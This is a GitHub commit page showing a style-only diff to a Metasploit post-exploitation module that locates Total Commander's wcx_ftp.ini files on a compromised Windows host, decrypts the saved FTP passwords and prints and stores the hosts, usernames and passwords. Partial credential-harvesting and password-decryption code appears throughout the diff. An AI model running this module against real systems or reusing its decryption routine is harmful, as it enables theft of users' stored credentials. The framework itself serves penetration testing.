Skip to content

Commit

Permalink
Style corrections
Browse files Browse the repository at this point in the history
See #5480
  • Loading branch information
void-in authored and wchen-r7 committed Jun 4, 2015
1 parent 63708f2 commit d4f418f
Showing 1 changed file with 19 additions and 19 deletions.
38 changes: 19 additions & 19 deletions modules/post/windows/gather/credentials/total_commander.rb
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ def initialize(info={})
end

def run
print_status("Checking Default Locations...")
print_status('Checking Default Locations...')
check_systemroot

grab_user_profiles().each do |user|
Expand All @@ -45,25 +45,25 @@ def run
hklmpath = registry_getvaldata(commander_key, 'FtpIniName')
case hklmpath
when nil
print_status("Total Commander Does not Appear to be Installed Globally")
when "wcx_ftp.ini"
print_status('Total Commander Does not Appear to be Installed Globally')
when 'wcx_ftp.ini'
print_status("Already Checked SYSTEMROOT")
when ".\\wcx_ftp.ini"
when '.\\wcx_ftp.ini'
hklminstpath = registry_getvaldata(commander_key, 'InstallDir') || ''
if hklminstpath.empty?
print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini")
print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini')
else
check_other(hklminstpath +'\\wcx_ftp.ini')
end
when /APPDATA/
print_status("Already Checked AppData")
print_status('Already Checked AppData')
when /USERPROFILE/
print_status("Already Checked USERPROFILE")
print_status('Already Checked USERPROFILE')
else
check_other(hklmpath)
end

userhives=load_missing_hives()
userhives = load_missing_hives()
userhives.each do |hive|
next if hive['HKU'] == nil
print_status("Looking at Key #{hive['HKU']}")
Expand All @@ -72,21 +72,21 @@ def run
print_status("HKUP: #{hkupath}")
case hkupath
when nil
print_status("Total Commander Does not Appear to be Installed on This User")
when "wcx_ftp.ini"
print_status('Total Commander Does not Appear to be Installed on This User')
when 'wcx_ftp.ini'
print_status("Already Checked SYSTEMROOT")
when ".\\wcx_ftp.ini"
when '.\\wcx_ftp.ini'
hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir') || ''
if hklminstpath.empty?
print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini")
print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini')
else
check_other(hklminstpath +'\\wcx_ftp.ini')
end
when /APPDATA/
print_status("Already Checked AppData")
print_status('Already Checked AppData')

when /USERPROFILE/
print_status("Already Checked USERPROFILE")
print_status('Already Checked USERPROFILE')
else
check_other(hkupath)
end
Expand Down Expand Up @@ -153,16 +153,16 @@ def get_ini(filename)
ini=Rex::Parser::Ini.from_s(parse)

ini.each_key do |group|
next if group=="General" or group == "default" or group=="connections"
next if group == 'General' or group == 'default' or group == 'connections'
print_status("Processing Saved Session #{group}")
host = ini[group]['host']

username = ini[group]['username']
passwd = ini[group]['password']
next if passwd==nil
next if passwd == nil
passwd = decrypt(passwd)
(host,port) = host.split(':')
port=21 if port==nil
port = 21 if port == nil
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
if session.db_record
source_id = session.db_record.id
Expand Down Expand Up @@ -214,7 +214,7 @@ def decrypt(pwd)
b=seed(len)
t=pwd3[a]
pwd3[a] = pwd3[b]
pwd3[b]=t
pwd3[b] = t
end


Expand All @@ -231,7 +231,7 @@ def decrypt(pwd)
end


fpwd=""
fpwd = ""
pwd3[0,len].map{|a| fpwd << a.chr}
return fpwd

Expand Down

0 comments on commit d4f418f

Please sign in to comment.